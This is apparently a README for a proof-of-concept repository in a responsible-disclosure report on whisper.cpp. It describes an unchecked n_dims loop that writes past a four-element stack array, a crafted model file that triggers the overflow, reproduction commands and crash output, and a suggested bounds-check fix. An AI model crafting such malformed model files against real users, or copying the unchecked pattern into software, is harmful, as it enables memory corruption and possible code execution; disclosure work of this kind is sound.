File size: 2,727 Bytes
339067e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
---
license: mit
tags:
- security
- poc
- huntr
- model-file-vulnerability
---

# PoC — whisper.cpp unchecked `n_dims` stack buffer overflow

Proof-of-concept model file for a **huntr Model File Vulnerabilities** report against
[`ggml-org/whisper.cpp`](https://github.com/ggml-org/whisper.cpp) @ `6fc7c33`.

**This repository contains a deliberately malformed GGML model file for authorized security research
(responsible disclosure via huntr). It is not a usable model.**

## The bug (summary)

`whisper_model_load()` (and the sibling `whisper_vad_init_with_params()`) read a per-tensor
`int32_t n_dims` from the model file and use it, **unchecked**, as the bound of a loop that writes into
a fixed 4-element stack array `int32_t ne[4]`:

```cpp
// src/whisper.cpp  (whisper_model_load)
:1874  read_safe(loader, n_dims);          // attacker-controlled
:1883  int32_t ne[4] = { 1, 1, 1, 1 };     // fixed 4-element STACK array
:1884  for (int i = 0; i < n_dims; ++i) {
:1885      read_safe(loader, ne[i]);       // OOB stack write for n_dims > 4
:1886      nelements *= ne[i];
:1887  }
```

There is no `n_dims <= GGML_MAX_DIMS` check before the loop. All shape/size validation runs *after* it.
A crafted model file with a large `n_dims` writes an attacker-controlled sequence of 4-byte words far
past `ne[4]`, smashing the stack (CWE-787). The identical pattern exists at the VAD loader
(`whisper_vad_init_with_params`, `src/whisper.cpp:5016/5025/5026`).

## Files

| file | description |
|---|---|
| `poc_whisper_ndims.bin` | valid whisper "tiny" header + one tensor record with `n_dims=20000` and a run of `0x41414141` words. **Crashes `whisper-cli` with SIGSEGV.** |
| `gen_whisper_ndims_poc.py` | pure-python generator (documents the exact header layout). |
| `CRASH_PROVEN.md` | build commands + reproduced crash (attacker sentinel bytes in the fault address). |

## Reproduce

```
cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
      -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
      -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
cmake --build build-rel --target whisper-cli
./build-rel/bin/whisper-cli -m poc_whisper_ndims.bin -f /dev/null
```

Observed (default Release, no sanitizer):
```
whisper_model_load:  CPU total size = 77.11 MB      <- model built; enters the tensor-read loop
stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)   <- attacker's 0x41414141 bytes in the fault address
exit=139 (SIGSEGV)
```
See `CRASH_PROVEN.md`.

## Disclosure

Reported privately via huntr. Suggested fix: `if (n_dims < 0 || n_dims > GGML_MAX_DIMS) return false;`
before the fill loop, at both call sites.